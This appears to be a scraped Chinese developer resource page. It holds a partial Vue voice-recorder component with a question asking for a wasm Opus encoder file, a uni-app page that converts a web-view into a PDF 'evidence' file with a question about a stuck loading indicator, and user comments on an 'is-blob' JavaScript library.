记录处理延迟 processingLatency.value = Math.round(performance.now() - startTime); }; // 连接音频节点 source.connect(scriptProcessor.value); scriptProcessor.value.connect(audioContext.value.destination); // 创建MediaRecorder用于本地播放 const mediaRecorder = new MediaRecorder(mediaStream.value, { mimeType: 'audio/webm;codecs=opus', audioBitsPerSecond: 16000 }); const audioChunks: Blob[] = []; mediaRecorder.ondataavailable = (event) => { if (event.data.size > 0) { audioChunks.push(event.data); } }; mediaRecorder.onstop = () => { const audioBlob = new Blob(audioChunks, { type: 'audio/webm;codecs=opus' }); currentAudioUrl.value = URL.createObjectURL(audioBlob); }; mediaRecorder.start(100); isRecording.value = true; addTip?.(`开始录音,采样率: ${SAMPLE_RATE}Hz`, 'success'); } catch (err: any) { console.error("录音启动失败:", err); errorMessage.value = err.message || "录音初始化失败"; isRecording.value = false; } finally { isProcessing.value = false; } }; // 停止录音 const stopRecording = async () => { if (!isRecording.value || isProcessing.value) return; isProcessing.value = true; try { // 停止音频处理 if (scriptProcessor.value) { scriptProcessor.value.disconnect(); scriptProcessor.value = null; } // 停止媒体流 if (mediaStream.value) { mediaStream.value.getTracks().forEach(track => track.stop()); mediaStream.value = null; } // 关闭音频上下文 if (audioContext.value) { await audioContext.value.close(); audioContext.value = null; } // 发送停止信号 send(stopData); isRecording.value = false; frameBuffer.value = new Float32Array(0); // 清空缓冲区 addTip?.("录音已停止", "success"); } catch (err) { console.error("停止录音失败:", err); errorMessage.value = "停止录音时发生错误"; } finally { isProcessing.value = false; } }; // 切换录音状态 const toggleRecording = () => { isRecording.value ? stopRecording() : startRecording(); }; // 初始化Opus编码器 onMounted(() => { initOpusEncoder(); }); // 清理资源 onUnmounted(() => { stopRecording(); // 释放Opus编码器资源 if (opusEncoderRef.value && opusModuleRef.value) { opusModuleRef.value.opus_encoder_destroy(opusEncoderRef.value); } if (currentAudioUrl.value) { URL.revokeObjectURL(currentAudioUrl.value); } }); </script> <style lang="scss" scoped> .voice-recorder { max-width: 800px; margin: 0 auto; padding: 20px; border-radius: 10px; background-color: #fff; box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1); font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; .voice-top { display: flex; justify-content: center; margin-bottom: 20px; } .el-button { padding: 14px 28px; font-size: 16px; font-weight: 500; border-radius: 30px; transition: all 0.3s ease; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); &.recording { background: #ff4444; animation: pulse 1.5s infinite; } &:hover { transform: translateY(-2px); box-shadow: 0 6px 8px rgba(0, 0, 0, 0.15); } &:active { transform: translateY(0); } &:disabled { background: #cccccc; cursor: not-allowed; transform: none; box-shadow: none; } } .encoder-status { margin: 15px 0; padding: 15px; background: #f8fcff; border-radius: 8px; text-align: center; border: 1px solid #e0f0ff; color: #2c3e50; font-size: 14px; } .recording-status { margin: 15px 0; padding: 12px; background: #fff0f0; border-radius: 8px; color: #ff4444; text-align: center; font-size: 14px; display: flex; justify-content: center; align-items: center; flex-wrap: wrap; gap: 12px; span { padding: 4px 8px; background: rgba(255, 68, 68, 0.1); border-radius: 4px; white-space: nowrap; } } .error-message { margin: 15px 0; padding: 12px; color: #ff4444; text-align: center; font-size: 14px; border-radius: 8px; background: #fff8f8; border: 1px solid #ffcccc; font-weight: 500; } .audio-player { margin-top: 25px; text-align: center; padding: 20px; background: #f9f9f9; border-radius: 8px; border: 1px solid #eee; audio { width: 100%; max-width: 500px; margin: 0 auto; } } } @keyframes pulse { 0% { background-color: #db4437; box-shadow: 0 0 0 0 rgba(219, 68, 55, 0.7); } 50% { background-color: #ff6659; box-shadow: 0 0 0 10px rgba(219, 68, 55, 0); } 100% { background-color: #db4437; box-shadow: 0 0 0 0 rgba(219, 68, 55, 0); } } </style>能帮我找到一个能用的wasm文件吗

filetype

<template> <view class="container"> <web-view :src="webviewPath" id="targetWebview" @message="handleWebviewMessage" ></web-view> <cover-view class="bottom-action-area"> <cover-view class="capture-btn" @click="generatePDF"> <cover-view class="btn-text">生成PDF证据</cover-view > </cover-view > </cover-view > <cover-view v-if="showPreview" class="pdf-preview"> <cover-view class="preview-header"> <cover-view class="title-container"> <cover-view class="preview-title">证据预览</cover-view > </cover-view > </cover-view > <web-view v-if="pdfPreviewUrl" :src="pdfPreviewUrl" class="preview-iframe" ></web-view> <cover-view class="action-buttons"> <cover-view class="action-btn cancel-btn" @click="closePreview">放弃</cover-view > <cover-view class="action-btn confirm-btn" @click="savePDF">保存证据</cover-view > </cover-view > </cover-view > </view> </template> <script setup lang="ts"> import { ref, onMounted } from 'vue'; import { onLoad, onReady } from '@dcloudio/uni-app'; import html2canvas from 'html2canvas'; // 状态管理 const webviewPath = ref(''); const showPreview = ref(false); const pdfPreviewUrl = ref(''); const pdfFilePath = ref(''); const currentWebview = ref<any>(null); const platform = ref(''); // 初始化 onLoad((options: any) => { if (options.url) { webviewPath.value = decodeURIComponent(options.url); } // 获取平台信息 const systemInfo = uni.getSystemInfoSync(); platform.value = systemInfo.platform || ''; }); // 准备阶段获取 WebView 实例 onReady(() => { // #ifdef APP-PLUS const pages = getCurrentPages(); const page = pages[pages.length - 1]; const webview = page.$getAppWebview(); setTimeout(() => { if (webview.children().length > 0) { const wv = webview.children()[0]; currentWebview.value = wv; console.log(currentWebview.value) } }, 1000); // #endif }); // 生成PDF const generatePDF = () => { uni.showLoading({ title: '生成证据中...', mask: true }); // #ifdef APP-PLUS if (!currentWebview.value) { uni.showToast({ title: '网页未加载完成', icon: 'none' }); return; } const timestamp = new Date().getTime(); const pdfPath = `_doc/evidence_${timestamp}.pdf`; // 使用 plus.draw 生成PDF currentWebview.value.draw(currentWebview.value, { format: 'pdf', filename: pdfPath, background: '#FFFFFF', success: (res:any) => { pdfFilePath.value = res.filePath; preparePDFPreview(res.filePath); uni.hideLoading(); }, fail: (err:any) => { console.error('PDF生成失败:', err); uni.hideLoading(); uni.showToast({ title: `生成失败: ${err.message}`, icon: 'none' }); } }); // #endif // #ifdef H5 // H5环境使用html2canvas + jsPDF generatePDFForH5(); // #endif }; // 准备PDF预览 const preparePDFPreview = (filePath: string) => { // #ifdef APP-PLUS plus.io.resolveLocalFileSystemURL( filePath, (entry) => { const localUrl = entry.toLocalURL(); // 使用PDF.js预览 pdfPreviewUrl.value = `/static/pdfjs/web/viewer.html?file=${encodeURIComponent(localUrl)}`; showPreview.value = true; }, (err) => { console.error('文件访问失败:', err); uni.showToast({ title: '文件访问失败', icon: 'none' }); } ); // #endif }; // 保存PDF到相册 const savePDF = () => { // #ifdef APP-PLUS if (!pdfFilePath.value) return; // plus.gallery.save( // pdfFilePath.value, // { filename: `evidence_${Date.now()}.pdf` }, // () => { // uni.showToast({ title: '证据保存成功' }); // closePreview(); // }, // (err) => { // uni.showToast({ title: `保存失败: ${err.message}`, icon: 'none' }); // } // ); // #endif // #ifdef H5 // H5环境下载PDF const link = document.createElement('a'); link.href = pdfFilePath.value; link.download = `evidence_${Date.now()}.pdf`; link.click(); closePreview(); // #endif }; // 关闭预览 const closePreview = () => { showPreview.value = false; pdfPreviewUrl.value = ''; }; // H5环境PDF生成(使用html2canvas + jsPDF) const generatePDFForH5 = () => { // #ifdef H5 // const iframe = document.getElementById('targetWebview') as HTMLIFrameElement; // if (!iframe || !iframe.contentWindow) return; // const iframeDoc = iframe.contentWindow.document; // html2canvas(iframeDoc.body, { // useCORS: true, // scale: 2 // }).then(canvas => { // const imgData = canvas.toDataURL('image/jpeg', 0.95); // const pdf = new jsPDF('p', 'mm', 'a4'); // const imgWidth = pdf.internal.pageSize.getWidth(); // const imgHeight = (canvas.height * imgWidth) / canvas.width; // pdf.addImage(imgData, 'JPEG', 0, 0, imgWidth, imgHeight); // const pdfBlob = pdf.output('blob'); // pdfFilePath.value = URL.createObjectURL(pdfBlob); // // H5环境预览 // pdfPreviewUrl.value = pdfFilePath.value; // showPreview.value = true; // uni.hideLoading(); // }).catch(err => { // console.error('H5 PDF生成失败:', err); // uni.hideLoading(); // uni.showToast({ title: '生成失败', icon: 'none' }); // }); // #endif }; // 处理WebView消息 const handleWebviewMessage = (e: any) => { console.log('收到WebView消息:', e.detail); }; </script> <style scoped> .container { position: relative; height: 100vh; overflow: hidden; } #targetWebview { width: 100%; height: calc(100vh - 100px); } .bottom-action-area { position: fixed; bottom: 0; left: 0; right: 0; z-index: 100; background-color: #007aff; padding: 15px; display: flex; justify-content: center; padding-bottom: calc(10rpx + constant(safe-area-inset-bottom)); padding-bottom: calc(10rpx + env(safe-area-inset-bottom)); } .capture-btn { width: 100%; height: 90rpx; padding: 12px; background-color: #007aff; border-radius: 8px; display: flex; align-items: center; justify-content: center; } .btn-text { color: white; font-size: 14px; font-weight: 500; } /* PDF预览样式 */ .pdf-preview { position: fixed; top: 0; left: 0; right: 0; bottom: 0; z-index: 1000; background-color: white; display: flex; flex-direction: column; } .preview-header { background-color: #007aff; padding: 15px; } .title-container { display: flex; justify-content: center; } .preview-title { color: white; font-size: 18px; font-weight: bold; } .preview-iframe { flex: 1; width: 100%; border: none; } .action-buttons { display: flex; padding: 15px; background-color: #f5f5f5; } .action-btn { flex: 1; padding: 12px; border-radius: 8px; text-align: center; font-weight: 500; } .cancel-btn { background-color: #f5f5f5; color: #333; margin-right: 10px; } .confirm-btn { background-color: #007aff; color: white; margin-left: 10px; } </style> 为什么会一直显示生成证据中

filetype
资源评论
用户头像
苗苗小姐
2025.03.27
"对于Web开发中的文件处理有实际帮助,值得关注。"
用户头像
两斤香菜
2025.03.11
"一款实用的JavaScript库,帮助开发者检测值是否为Blob对象,适用于浏览器环境。"
用户头像
城北伯庸
2025.02.26
"通过简单的API调用即可完成Blob对象的检测,提高开发效率。"
用户头像
行走的瓶子Yolo
2025.02.08
"文档清晰地展示了is-blob的使用方法,适合快速上手。"
用户头像
石悦
2024.12.29
"在Node.js中无法使用,这是使用前需要考虑的限制。"😉
普通网友
  • 粉丝: 38
上传资源 快速赚钱